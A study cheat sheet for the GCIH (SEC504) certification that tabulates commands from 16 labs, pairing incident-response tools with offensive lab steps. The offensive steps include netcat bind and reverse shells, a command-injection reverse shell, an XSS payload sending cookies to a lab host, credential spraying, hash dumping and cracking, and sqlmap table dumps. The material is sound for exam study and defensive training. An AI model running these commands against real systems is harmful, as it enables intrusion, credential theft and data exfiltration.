GCIH (SEC504) Lab Index
97 commands across all 16 SEC504 labs. Print landscape, 8.5pt. One card per lab, in course order.
Lab 1.1: PowerShell Live Investigation 7
| Command | Purpose | Key flags |
|---|---|---|
| Get-Process lsass | Select-Object -Property * | Dump every property of a known-good process Lab 1.1 | Select -Property *: full object; learn the shape before filtering |
| Get-Process | Select Path,Name,Id | Where-Object -Property Path -Like "*temp*" | Find processes running out of TEMP Lab 1.1 | Where -Like "*temp*": case-insensitive wildcard on Path |
| Get-NetTCPConnection | Select LocalAddress,LocalPort,State,OwningProcess | Active TCP connections mapped to a PID Lab 1.1 | OwningProcess is the PID; pivot to Get-Process -Id |
| Get-Process | Where-Object -Property Id -eq 1672 | Stop-Process | Kill a malicious process by PID Lab 1.1 | Pipe the filtered object straight into Stop-Process |
| Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" | Hunt Run-key persistence Lab 1.1 | Check HKLM + HKCU, Run + RunOnce (4 keys total) |
| Remove-ItemProperty -Path HKCU:...\Run -Name Calcache ; Remove-Item $env:temp\calcache.exe | Eradicate persistence + binary Lab 1.1 | Remove the autorun value AND the dropped file |
| Compare-Object $servicebaseline $servicesnow | Diff current services vs saved baseline Lab 1.1 | SideIndicator <= only in baseline, => only in current |
Lab 1.2: Network Beacon Detection with RITA 7
| Command | Purpose | Key flags |
|---|---|---|
| ./rita.sh import -l log/ ~/labs/falsimentis/ | Import Zeek logs into RITA Lab 1.2 | -l log/: write import log; last arg is the Zeek log dir |
| ./rita.sh view falsimentis | Open the RITA UI; read the Beacon score column Lab 1.2 | High beacon score = regular C2 callback interval |
| grep lolcats.org dns.log | head -1 | Cross-check a suspected C2 domain in dns.log Lab 1.2 | Confirm/refute the beacon against raw Zeek DNS |
| gedit config.hjson (safelist Canonical NTP) | Tune out known-good beacons Lab 1.2 | Safelist legit periodic traffic to cut false positives |
| ./rita.sh delete -ni falsimentis | Delete + re-import so new config applies Lab 1.2 | -ni: no interactive confirm; config changes need re-import |
| grep www1-google-analytics.com access.log | Find DNS-spoofed C2 in proxy log Lab 1.2 | Typosquat domain proxied through the web gateway |
| awk '/www1-google-analytics.com/ {print $3}' access.log | sort -u | Enumerate every compromised internal host Lab 1.2 | $3 = client IP; sort -u for the unique victim list |
Lab 1.3: Malware Analysis (AnalyticsInstaller.exe) 6
| Command | Purpose | Key flags |
|---|---|---|
| Get-FileHash -Algorithm SHA256 .\AnalyticsInstaller.exe | Hash the sample for IOC lookup Lab 1.3 | -Algorithm MD5 / SHA256; hash before detonating |
| C:\tools\Sysinternals\strings.exe -n 10 .\AnalyticsInstaller.exe | Pull readable strings / IOCs Lab 1.3 | -n 10: min length 10 to cut noise |
| Regshot (1st shot) → detonate → Regshot (2nd shot) → Compare | Registry-diff a detonation Lab 1.3 | Shows dropped Run keys + scheduled tasks |
| Get-ScheduledTask | Confirm the persistence task after detonation Lab 1.3 | Malware scheduled-task persistence shows here |
| Get-Content C:\Windows\SysWOW64\AnalyticsBackup.bat | Read the dropped batch payload Lab 1.3 | The .bat is the second-stage launcher |
| Procmon: filter Process Name is AnalyticsInstaller.exe | Trace file/registry/process activity Lab 1.3 | Find the Process Create → encoded PowerShell command line |
Lab 1.4: AI-Assisted Incident Handling 4
| Command | Purpose | Key flags |
|---|---|---|
| goaichat | Start the local AI stack (Ollama chat) Lab 1.4 | Offline model; no data leaves the lab host |
| cat ~/labs/falsimentis/analytics-backup.bat | Load the obfuscated sample to deobfuscate Lab 1.4 | Feed to the model for step-by-step decode |
| Prompt: deobfuscate + decode base64 PowerShell | Turn encoded command line into readable steps Lab 1.4 | One command per line, then extract IOCs |
| gedit ~/labs/falsimentis/IRplaybook.txt | Set an expert-IR system prompt Lab 1.4 | Constrain the model to analytical IR output |
Lab 2.1: Nmap Discovery & Enumeration 6
| Command | Purpose | Key flags |
|---|---|---|
| nmap -n -sn 172.30.0.1-254 (then again with sudo) | Host discovery; privileged sweep uses ARP Lab 2.1 | sudo -sn finds hosts that ignore ICMP/TCP probes |
| sudo nmap -n -sT -p 1-65535 172.30.0.20 | Full-range TCP connect scan Lab 2.1 | -sT connect scan; -p 1-65535 beats the default top-1000 |
| sudo nmap -n -sT -sV -p 80,443,2430,3306 172.30.0.20 | Version-detect open ports Lab 2.1 | -sV revealed Dropbear SSH hiding on 2430 |
| sudo nmap -n -sT -p 27017 -sC 172.30.0.26 | Default NSE scripts vs a service Lab 2.1 | -sC ran mongodb-databases with no auth |
| ... --script mongodb-databases | -oN nmap_mongodb_scan.txt | Targeted NSE script; save output Lab 2.1 | --script <name> for one script; -oN writes the report file |
| sudo nmap -n -sT -sC -p 139,445 172.30.0.114 | SMB NSE (nbstat, smb2-security-mode) Lab 2.1 | Caught signing 'enabled but not required' (relay risk) |
Lab 2.2: Cloud (masscan + TLS attribution) 6
| Command | Purpose | Key flags |
|---|---|---|
| masscan -p 443 --rate 10000 -oL simcloud.txt 10.200.0.0/16 | Sweep a /16 cloud range fast Lab 2.2 | --rate packets/sec; -oL list output; SYN stealth |
| awk '/open/ {print $4}' simcloud.txt > simcloud-targets.txt | Extract just the live IPs Lab 2.2 | $4 = IP in masscan -oL lines |
| tls-scan --port=443 --cacert=/opt/tls-scan/ca-bundle.crt -o out.json < targets.txt | Grab TLS certs for each IP Lab 2.2 | Reads targets on stdin; JSON out |
| jq '.ip + " " + .certificateChain[].subjectCN' simcloud-tlsinfo.json | Map anonymous cloud IPs to owners Lab 2.2 | Cloud IPs have no DNS; cert subjectCN = attribution |
| jq ... | grep falsimentis | Isolate the target org's asset Lab 2.2 | 10.200.74.2 = downloads.falsimentis.com |
| sudo nmap -sT -sV -p 443 --script http-enum 10.200.74.2 | Enumerate the found web host Lab 2.2 | http-enum found /robots.txt + /css/ dir listing |
Lab 2.3: SMB Security 5
| Command | Purpose | Key flags |
|---|---|---|
| smbclient -L //172.30.0.22 -U tdoudney%Falsimentis123 | List shares (creds inline as user%pass) Lab 2.3 | SMB1 workgroup listing failing is normal here |
| smbclient //172.30.0.22/IT -U tdoudney%Falsimentis123 | Connect to a share; ls / get files Lab 2.3 | Found logon.cmd (drive maps) + netssh.cmd (proxy) |
| tar c tdoudney-home.tar (inside smbclient) | Exfil a whole directory in one command Lab 2.3 | smbclient's tar c streams the share to a local tarball |
| cat backup.ps1.OLD | Read the leaked stale script Lab 2.3 | Hardcoded 'Clippers2022' for falsimentis.com\csparkes |
| smbclient //172.30.0.22/CustomerDev -U csparkes%Clippers2022 | Pivot with the stolen credential Lab 2.3 | Lateral move to a share holding a 33MB db backup |
Lab 2.4: Hayabusa (EVTX threat hunting) 5
| Command | Purpose | Key flags |
|---|---|---|
| .\hayabusa.exe csv-timeline --directory C:\Tools\win10evtx\ -o out.csv --no-color | Build a Sigma-based detection timeline Lab 2.4 | Scan wizard picks rule set; sysmon rules add coverage |
| (scan wizard) rule set 5 = all event+alert rules | Load the full rule set Lab 2.4 | 209 deprecated / 45 unsupported / 12 noisy excluded |
| Read Results Summary: high/med/low/info counts | Triage by severity Lab 2.4 | 3 high alerts, all log-clearing (anti-forensics) |
| Timeline Explorer: drag column header to group | Group the CSV by Level then Rule Title Lab 2.4 | Collapses 2,989 rows into 33 unique detections |
| .\hayabusa.exe logon-summary / eid-metrics | Quick logon + event-ID stats Lab 2.4 | Fast pivots without the full timeline |
Lab 2.5: Netcat 5
| Command | Purpose | Key flags |
|---|---|---|
| nc -l -p 2222 ↔ nc 10.10.75.1 2222 | Listener / client chat Lab 2.5 | -l listen, -p port; same syntax Linux + Windows |
| Get-Content .\text.txt | nc -l -p 1234 ↔ nc 10.10.0.1 1234 > out.txt | File transfer over nc Lab 2.5 | Sender pipes in; receiver redirects to a file |
| nc -l -p 7777 -e /bin/sh (Linux) / nc <ip> 8888 -e cmd.exe (Win) | Bind shell Lab 2.5 | -e binds a shell to the connection |
| mkfifo namedpipe ; nc -l -p 8080 < namedpipe | nc 172.30.0.55 80 > namedpipe | Bidirectional relay / pivot Lab 2.5 | FIFO makes the relay two-way; launders source IP |
| nc -vvv -z -w3 172.30.0.55 80 | Port check through the pivot Lab 2.5 | -z zero-I/O scan, -w3 timeout, -vvv verbose |
Lab 3.1: Legba (password attacks) 4
| Command | Purpose | Key flags |
|---|---|---|
| legba -C credentials.txt -T http://172.30.0.12/ http.basic | Credential stuffing (combo list) Lab 3.1 | -C combo user:pass; protocol is the last arg |
| legba -U root -P 10k-most-common.txt -T 172.30.0.64 mysql | Single-user dictionary attack Lab 3.1 | -U user, -P wordlist; found root:changeme |
| legba -U userlist.txt -P Falsimentis123 -T 172.30.0.155 smb | Password SPRAY (one pass, many users) Lab 3.1 | -U list + -P single = spray; stays under lockout |
| legba -U admin -P tiksight -T 172.30.0.64 mysql | Credential-reuse check Lab 3.1 | Verify a found cred against another service |
Lab 3.3: Hashcat 7
| Command | Purpose | Key flags |
|---|---|---|
| hashcat slingshot.hashes --identify | Identify candidate hash modes Lab 3.3 | descrypt 1500 / md5crypt 500 / sha256/512crypt 7400/1800 |
| hashcat -a 0 -m 1500 slingshot.hashes /usr/share/wordlists/passwords.txt | Dictionary attack (-a 0) Lab 3.3 | -m mode, -a 0 straight wordlist |
| hashcat -m 1500 slingshot.hashes --show --username | Show cracked hashes with usernames Lab 3.3 | --show reads potfile; --left lists uncracked |
| secretsdump.py -system registry/SYSTEM -ntds "Active Directory/ntds.dit" LOCAL -outputfile w99 | Extract NTLM hashes from NTDS.dit Lab 3.3 | LOCAL parse; -history for password history |
| sed -i '/\$/d' w99.ntds | Strip machine accounts before cracking Lab 3.3 | Machine account names end in $ |
| hashcat -a 3 w99.ntds ?u?l?l?l?l?l?l?d | Mask attack against a known pattern Lab 3.3 | -a 3 mask; ?u upper ?l lower ?d digit |
| hashcat -a 0 w99.ntds passwords.txt -r /opt/hashcat/rules/best64.rule | Rule-based attack (best value) Lab 3.3 | -r rules turned 44k words into 3.4M candidates in 4s |
Lab 3.4: Metasploit 7
| Command | Purpose | Key flags |
|---|---|---|
| search type:exploit psexec | Find modules by keyword/type Lab 3.4 | type:exploit / platform:windows filters |
| use exploit/windows/smb/psexec ; info | Select a module; read options + targets Lab 3.4 | psexec = authenticated user code execution |
| set RHOSTS / SMBUser / SMBPass / LHOST ; exploit | Configure and run Lab 3.4 | Valid creds ARE the exploit; opens a session |
| background ; sessions ; sessions 1 | Manage Meterpreter sessions Lab 3.4 | Backgroundable + re-enterable by ID |
| getuid ; getpid ; sysinfo ; ps | Situational awareness in Meterpreter Lab 3.4 | getuid → NT AUTHORITY\SYSTEM |
| migrate -N lsass.exe | Move into a stable process Lab 3.4 | Also fixes arch (x86→x64) and survives |
| hashdump | Dump local SAM NTLM hashes Lab 3.4 | 31d6cfe0... = the empty-password hash |
Lab 4.1: IDOR / Forced Browsing 5
| Command | Purpose | Key flags |
|---|---|---|
| curl http://support.falsimentis.com/robots.txt | Read robots.txt as a map of hidden paths Lab 4.1 | Disallow entries point at /admin, /singlestatus |
| ffuf -w combined_words.txt -u http://host/FUZZ | Directory / content discovery Lab 4.1 | FUZZ marks the injection point; default status matcher |
| curl -v http://host/builds/build.log | Read an exposed dir-listing artifact Lab 4.1 | Docker build log leaked installed packages |
| seq -w 0 9999 | ffuf -w - -u http://host/chatlogs/chatlog-FUZZ.txt -fc 500 | Enumerate sequential object IDs Lab 4.1 | -w - reads stdin; -fc 500 filters the baseline error |
| curl http://host/chatlogs/chatlog-2305.txt | Retrieve another user's object Lab 4.1 | Predictable ID + no auth check = IDOR |
Lab 4.2: Command Injection 5
| Command | Purpose | Key flags |
|---|---|---|
| ?target=-h | Argument injection probe (harmless) Lab 4.2 | Prints fping usage → input reaches the command line |
| ?target=-z || id | Command injection via failure operator Lab 4.2 | Invalid -z forces fping to fail; || runs id → uid=0(root) |
| ?target=-z || ls / -z || which nc | Enumerate the app dir + available tools Lab 4.2 | Found db.sqlite3, source, and /usr/bin/nc |
| ?target=-z || nc 10.10.75.1 4444 -e /bin/sh | Reverse shell out of the injection Lab 4.2 | Attacker runs nc -l -v -p 4444 first |
| sqlite3 db.sqlite3 ".dump" | Exfil the local DB from the shell Lab 4.2 | Full schema + chatbot training data |
Lab 4.3: Cross-Site Scripting (Stored) 5
| Command | Purpose | Key flags |
|---|---|---|
| <field>Lorezo<hr> | Probe each field with a harmless tag Lab 4.3 | Rendered rule = injectable; literal text = escaped |
| email: lorenzo@gmail.com<script>alert(1)</script> | Confirm script execution Lab 4.3 | Test EVERY field; email was unescaped, name was not |
| php cookiecatcher/index.php (file_put_contents cookies.log) | Stand up a cookie/exfil catcher Lab 4.3 | php -S 0.0.0.0:8080 serves it |
| <script>document.location="http://10.10.75.1:8080/?"+document.cookie</script> | Steal the victim's session token Lab 4.3 | Second IP in the log = the SME analyst (stored XSS) |
| curl http://host/admin/ -b authtoken=<stolen> | Replay the stolen cookie Lab 4.3 | -b sends the cookie; opens the real admin panel |
Lab 4.4: SQL Injection 5
| Command | Purpose | Key flags |
|---|---|---|
| ?search=RAG' | Manual confirmation probe Lab 4.4 | Single quote → MariaDB 1064 syntax error |
| sqlmap -u "http://host/kb?entityid=3487&search=RAG" | Automated detection Lab 4.4 | Tests both params; only 'search' is injectable |
| sqlmap -u "..." --dbs | Enumerate databases Lab 4.4 | → information_schema, support |
| sqlmap -u "..." -D support --tables | Enumerate tables Lab 4.4 | → chat, contact, kb, tickets, users |
| sqlmap -u "..." -D support -T users --dump | Dump a table Lab 4.4 | Cracked hashes inline; 12 users w/ roles + password hashes |
GCIH exam quick reference 8
| Command | Purpose | Key flags |
|---|---|---|
| Incident Handling 6 steps | PICERL Reference | Preparation → Identification → Containment → Eradication → Recovery → Lessons Learned |
| Attack phases | MITRE-style kill chain Reference | Recon → Weaponize/Deliver → Exploit → Install → C2 → Actions on Objectives |
| nc bind vs reverse | -e binds a shell Reference | Bind = listener on victim; reverse = victim connects out (beats inbound firewall) |
| Password attack types | Know the distinction Reference | Guessing/online vs cracking/offline; dictionary vs brute vs mask vs rule vs spray |
| aad3b435b51404eeaad3b435b51404ee | Empty LM hash Reference | Seeing it everywhere = LM disabled (good) |
| 31d6cfe0d16ae931b73c59d7e0c089c0 | Empty NTLM hash Reference | Blank-password NTLM hash |
| Web attack sinks | OWASP mapping Reference | IDOR=access control, cmd-injection=OS command, XSS=output encoding, SQLi=parameterization |
| SMB signing 'enabled, not required' | Relay-exposed Reference | MITM can strip optional signing → SMB relay |
Tip: if you can't recall what a flag does without looking, drill that tool. CyberLive is timed. Muscle memory wins over recall.